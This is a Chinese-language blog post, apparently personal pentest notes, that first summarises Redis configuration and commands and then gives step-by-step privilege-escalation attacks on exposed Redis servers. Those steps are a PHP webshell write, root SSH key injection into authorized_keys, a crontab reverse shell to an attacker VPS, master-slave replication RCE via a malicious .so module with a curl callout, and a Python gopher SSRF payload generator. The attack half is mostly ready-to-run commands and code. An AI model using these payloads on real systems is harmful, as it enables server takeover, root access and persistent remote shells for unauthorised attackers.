渗透测试怎么利用Redis提权
渗透测试怎么利用Redis提权
之前就有做过一些redis的题目, 不过一直没去了解过redis的操作命令,结果这次做渗透测试就用到了所以又去学了一遍, 在这里记一下一些常用的操作命令再贴几个提权方式方便以后要使用redis的时候参考吧
以下redis的特性和命令内容均参考于菜鸟教程Redis教程
Redis介绍
redis的一些特性
-
Redis 是完全开源,遵守 BSD 协议的高性能 key-value 数据库。
-
Redis的所有操作都是原子性的,意思就是要么成功执行要么失败完全不执行。单个操作是原子性的。多个操作也支持事务,即原子性,通过MULTI和EXEC指令包起来。
-
Redis运行在内存中但是可以持久化到磁盘,所以在对不同数据集进行高速读写时需要权衡内存,因为数据量不能大于硬件内存。
安装
linux :
wget http://download.redis.io/releases/redis-6.0.8.tar.gz
tar xzf redis-6.0.8.tar.gz
cd redis-6.0.8
make
cd src
./redis-server
安装好后有两个模式 : 服务端redis-server
和客户端redis-cli
服务端开启redis服务 :
$ redis-server redis.conf
后面的配置文件为可选项
客户端连接redis服务 :
redis-cli -h 127.0.0.1 -p 6379 <-a password>
如果出现中文乱码可以加上--raw
配置参数
参数名 : 默认参数 | 参数介绍 |
---|---|
requirepass foobared |
设置Redis 连接密码,如果配置了连接密码,客户端在连接 Redis 时需要通过 AUTH |
dbfilename : dump.rdb |
指定本地数据库文件名,默认值为 dump.rdb |
dir : ./ |
指定本地数据库存放目录 |
maxmemory <bytes> |
指定 Redis 最大内存限制,Redis 在启动时会把数据加载到内存中,达到最大内存后,Redis 会先尝试清除已到期或即将到期的 Key,当此方法处理 后,仍然到达最大内存设置,将无法再进行写入操作,但仍然可以进行读取操作。Redis 新的 vm 机制,会把 Key 存放内存,Value 会存放在 swap |
pidfile : /var/run/redis.pid |
当 Redis 以守护进程方式运行时,Redis 默认会把 pid 写入 /var/run/redis.pid 文件,可以通过 pidfile 指定 |
port : 6379 |
指定 Redis 监听端口,默认端口为 6379 |
bind : 127.0.0.1 |
绑定的主机地址 |
loglevel : notice |
指定日志记录级别,Redis 总共支持四个级别:debug、verbose、notice、warning,默认为 notice |
logfile : stdout |
日志记录方式,默认为标准输出,如果配置 Redis 为守护进程方式运行,而这里又配置为日志记录方式为标准输出,则日志将会发送给 /dev/null |
daemonize : no |
Redis 默认不是以守护进程的方式运行,可以通过该配置项修改,使用 yes 启用守护进程 |
save |
指定在多长时间内,有多少次更新操作,就将数据同步到数据文件,可以多个条件配合 ,Redis 默认配置文件中提供了三个条件:save 900 1 save 300 10 save 60 10000 分别表示 900 秒(15 分钟)内有 1 个更改,300 秒(5 分钟)内有 10 个更改以及 60 秒内有 10000 个更改。 |
rdbcompression : yes |
指定存储至本地数据库时是否压缩数据,默认为 yes,Redis 采用 LZF 压缩,如果为了节省 CPU 时间,可以关闭该选项,但会导致数据库文件变的巨大 |
slaveof <masterip> <masterport> |
设置当本机为 slave 服务时,设置 master 服务的 IP 地址及端口,在 Redis 启动时,它会自动从 master 进行数据同步 |
appendfilename : appendonly.aof |
指定更新日志文件名,默认为 appendonly.aof |
appendfsync : everysec |
指定更新日志条件,共有 3 个可选值。 no:表示等操作系统进行数据缓存同步到磁盘(快) always:表示每次更新操作后手动调用 fsync() 将数据写到磁盘(慢,安全) everysec:表示每秒同步一次(折中,默认值) |
vm-enabled : no |
指定是否启用虚拟内存机制,默认值为 no,简单的介绍一下,VM 机制将数据分页存放,由 Redis 将访问量较少的页即冷数据 swap 到磁盘上,访问多的页面由磁盘自动换出到内存中(在后面的文章我会仔细分析 Redis 的 VM 机制) |
vm-swap-file : /tmp/redis.swap |
虚拟内存文件路径,默认值为 /tmp/redis.swap,不可多个 Redis 实例共享 |
include : /path/to/local.conf |
指定包含其它的配置文件,可以在同一主机上多个Redis实例之间使用同一份配置文件,而同时各个实例又拥有自己的特定配置文件 |
masterauth : <master-password> |
当 master 服务设置了密码保护时,slave 服务连接 master 的密码 |
☆☆☆redis配置项操作&&连接 命令 ☆☆☆
redis配置命令 | |
---|---|
CONFIG GET parameter | 获取指定配置参数的值(config get * 获取全部配置) |
CONFIG SET parameter value | 修改 redis 配置参数 |
SAVE | 同步保存数据到硬盘 |
BGSAVE | 在后台异步保存当前数据库的数据到磁盘 |
DBSIZE | 返回当前数据库的 key 的数量 |
SELECT index | 切换到指定的数据库 |
keys * | 列出当前数据库全部键值,然后可通过type+键名的方式输出类型 然后使用对应命令输出value(这个操作比较常用所以就加到这里来了) |
DEBUG OBJECT key | 获取 key 的调试信息 |
FLUSHALL | 删除所有数据库的所有key |
FLUSHDB | 删除当前数据库的所有key |
LASTSAVE | 返回最近一次 Redis 成功将数据保存到磁盘上的时间, 以 UNIX 时间戳格式表示(结合显示当前时间的函数TIME可以检测文件修改是否成功) |
MONITOR | 实时打印出 Redis 服务器接收到的命令,调试用 |
ROLE | 返回主从实例所属的角色 |
SLAVEOF host port | 将当前服务器转变为指定服务器的从属服务器(slave server) |
SYNC | 用于复制功能(replication)的内部命令 |
CONFIG RESETSTAT | 重置 INFO 命令中的某些统计数据 |
redis连接命令 | |
AUTH password | 验证密码是否正确(AUTH "password") |
PING | 查看服务是否运行 |
QUIT | 关闭当前连接 |
CLIENT LIST | 获取连接到服务器的客户端连接列表 |
CLIENT GETNAME | 获取连接的名称 |
CLIENT SETNAME connection-name | 设置当前连接的名称 |
redis键值对操作命令
Redis 键(key) | |
---|---|
keys * | 列出当前数据库全部键值,然后可通过get+键名的方式输出value |
del key | 该命令用于在 key 存在时删除 key。 |
dump key | 序列化给定 key ,并返回被序列化的值。 |
exists key | 检查给定 key 是否存在。 |
expire key | 为给定 key 设置过期时间,以秒计。 |
move db_key | 将当前数据库的 key 移动到给定的数据库 db 当中。 |
presist key | 移除 key 的过期时间,key 将持久保持。 |
rename key newkey | 修改 key 的名称 |
type key | 返回 key 所储存的值的类型。 |
Redis 字符串(String) | |
SET key value | 设置指定 key 的值 |
GET key | 获取指定 key 的值。 |
GETSET key value | 将给定 key 的值设为 value ,并返回 key 的旧值(old value)。 |
redis的Hash, List, Set, Sorted set操作命令
Redis 哈希(Hash) | |
---|---|
HMSET key field1 value1 field2 value2 | 同时将多个 field-value (域-值)对设置到哈希表 key 中。 |
HLEN key | 获取所有哈希表中的字段 |
HGETALL key | 获取在哈希表中指定 key 的所有字段和值 |
HVALS key | 获取哈希表中所有值。 |
Redis 列表(List) | |
LRANGE key start stop | 获取列表指定范围内的元素(LRANGE runoobkey 0 10) |
Redis 集合(Set) | |
SMEMBERS key | 返回集合中的所有成员 |
Redis 有序集合(sorted set) | |
[ZRANGE key start stop WITHSCORES] | 通过索引区间返回有序集合指定区间内的成员(ZRANGE runoobkey 0 10 WITHSCORES) |
订阅
Redis 发布订阅 (pub/sub) 是一种消息通信模式:发送者 (pub) 发送消息,订阅者 (sub) 接收消息。
Redis 客户端可以订阅任意数量的频道。
当有新消息通过 PUBLISH 命令发送给频道 channel1 时, 这个消息就会被发送给订阅它的三个客户端:
cahnnel1为发布订阅者(通过`PUBLISH 频道名 信息`发出广播)
client为消息订阅者(通过`SUBSCRIBE 频道名`收听广播)
例如, 服务端执行redis-server
建立一个redis服务
k1和k2两个用户通过redis-cli
连接服务
进入redis后k1执行PUBLISH sayhello "Hello everybody"
进入redis后k2执行SUBSCRIBE sayhello
然后k1发送的消息Hello everybody
就会被k2收到
并且之后k1通过PUBLISH sayhello
发送的消息都会被k2接收到,如果k2不想再接收信息可以通过 UNSUBSCRIBE 频道名
命令退订频道
Redis 事务+脚本
Redis 事务
就是不断输入命令但是不执行, 直到收到EXEC
命令后直接执行前面输入的全部命令
redis 127.0.0.1:7000> multi
OK
redis 127.0.0.1:7000> set a aaa
QUEUED
redis 127.0.0.1:7000> set b bbb
QUEUED
redis 127.0.0.1:7000> set c ccc
QUEUED
redis 127.0.0.1:7000> exec
1) OK
2) OK
3) OK
MULTI | 标记一个事务块的开始。 |
---|---|
EXEC | 执行所有事务块内的命令。 |
DISCARD | 取消事务,放弃执行事务块内的所有命令。 |
Redis 脚本
redis 127.0.0.1:6379> EVAL "return {KEYS[1],KEYS[2],ARGV[1],ARGV[2]}" 2 key1 key2 first second
1) "key1"
2) "key2"
3) "first"
4) "second"
EVAL script numkeys key [key ...] arg [arg ...]
执行 Lua 脚本。
EVALSHA sha1 numkeys key [key ...] arg [arg ...]
执行 Lua 脚本。
使用Redis提权
首先我们要做的第一步是登录到Redis里面去, 可进入方式有:
- redis未授权访问漏洞
- 原因可看上面的参数配置
requirepass
,默认情况下是可无密码登录的
- 原因可看上面的参数配置
- 弱口令
进入到redis客户端环境之后我们可以通过修改dir
和dbfilename
参数达到在指定文件写内容文件的目的,
redis写webshell
直接执行以下命令(用户要有响应权限才行)
config get dir
config get dbfilename
#查看当前数据存储目录和数据存放文件
flushall
config set dir "/var/www/html"
config set dbfilename "shell.php"
set x "\r\n\r\n<?php phpinfo()$_REQUEST[0];?>\r\n\r\n"
save
#或执行dbsave也可以
之所以要输入换行是因为用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
如果我们有对应的读写权限的话那么此时系统就会多出一个文件/var/www/html/shell.php
完成写入shell后我们去访问即可触发
利用"公私钥"认证获取root权限
这个要求我们进入靶机的redis后有root权限进入/root/.ssh
-
进入自己服务器的/root/.ssh目录
-
通过
ssh-keygen -t rsa
得到一对公私钥, 然后执行
echo -e "\n\n";catid_rsa.pub;echo -e "\n\n" | redis-cli -h redis_ip -x set crack
将生成的ssh公钥写入redis(如果成功会返回一个OK)
登录靶机的redis服务redis-cli -h redis_ip
config get dir
config get dbfilename
#查看当前数据存储目录和数据存放文件
config set dir "/root/.ssh"
config set dbfilename "authorized_keys"
save
#或bgsave
如果写入成功,那么我们直接在自己的服务器执行
ssh -i /root/.ssh/id_rsa root@redis_ip
即可无密码登录redis服务器且得到root权限
使用crontab定时任务反弹shell
直接redis-cli -h redis_ip
进入redis服务然后执行:
config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/VPS/4444 0>&1\n\n"
save
然后登录自己的VPS服务器nc -vlp 4444
监听4444端口大约1分钟收到redis服务器反弹的shell
redis主从复制rce
这个主从复制的拓展导致执行so文件的原理我也不是很懂, 先直接贴一下吧, 以后搞明白深层原理在写一篇文章说一下吧(埋个坑哈哈哈
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。编写恶意so文件的代码 https://github.com/RicterZ/RedisModules-ExecuteCommand (现在已经访问不了了不过项目redis-rogue-server里面有自带的so文件)
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。
这里有2个github项目工具可以使用(推荐第一个):
https://github.com/n0b0dyCN/redis-rogue-server (自带exp.so和redismodule.c源码文件)
https://github.com/Ridter/redis-rce (无exp.so文件)
python redis-rce.py -r 127.0.0.1 -L 127.0.0.1 -f exp.so
如果想要自己手动的话可以使用以下payload测试(监听port2是收到请求):
config set dir /tmp/
config set dbfilename /tmp/
slaveof vps port1
module load /tmp/exp.so
system.exec 'curl http://vps:port2'
quit
SSRF+gopher打内网redis
PHP的cURL 函数也可以加载gopher协议,相当于系统执行了curl url
的效果
这时如果redis服务在内网此时我们就可以通过PHP的cURL去打内网的redis了,实例可以参考 2021极客大挑战givemeyourlove
gopher协议格式:
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
gopher的默认端口是70
redis协议格式:
*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF
我们可以使用gopher协议请求生成工具来生成我们所想要的gopher数据流
里面不仅有redis的gopher协议数据流生成工具, 还可以生成fastcgi和mysql连接请求的gopher协议数据流
hopher协议生成脚本:
import urllib
HOST = "127.0.0.1"
PORT = "6379"
def ord2hex(string):
return '%'+'%02x' % (ord(string))
exp = "gopher://%s:%s/_" % (HOST, PORT)
for line in open("redis.cmd", "r"):
word = ""
str_flag = False
redis_resps = []
for char in line:
if str_flag == True:
if char == '"' or char == "'":
str_flag = False
if word != "":
redis_resps.append(word)
word = ""
else:
word += char
elif word == "" and (char == '"' or char == "'"):
str_flag = True
else:
if char == " ":
if word != "":
redis_resps.append(word)
word = ""
elif char == "\n":
if word != "":
redis_resps.append(word)
word = ""
else:
word += char
#print redis_resps
tmp_line = '*' + str(len(redis_resps)) + '\r\n'
for word in redis_resps:
tmp_line += '$' + str(len(word)) + '\r\n' + word + '\r\n'
exp += "".join([ord2hex(i) for i in tmp_line])
print exp
在同目录下的redis.cmd文件写入要执行的redis命令
flushall
config set dir /tmp
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
save
输出的内容即为gopher请求redis执行命令的链接,本地打开redis服务即可测试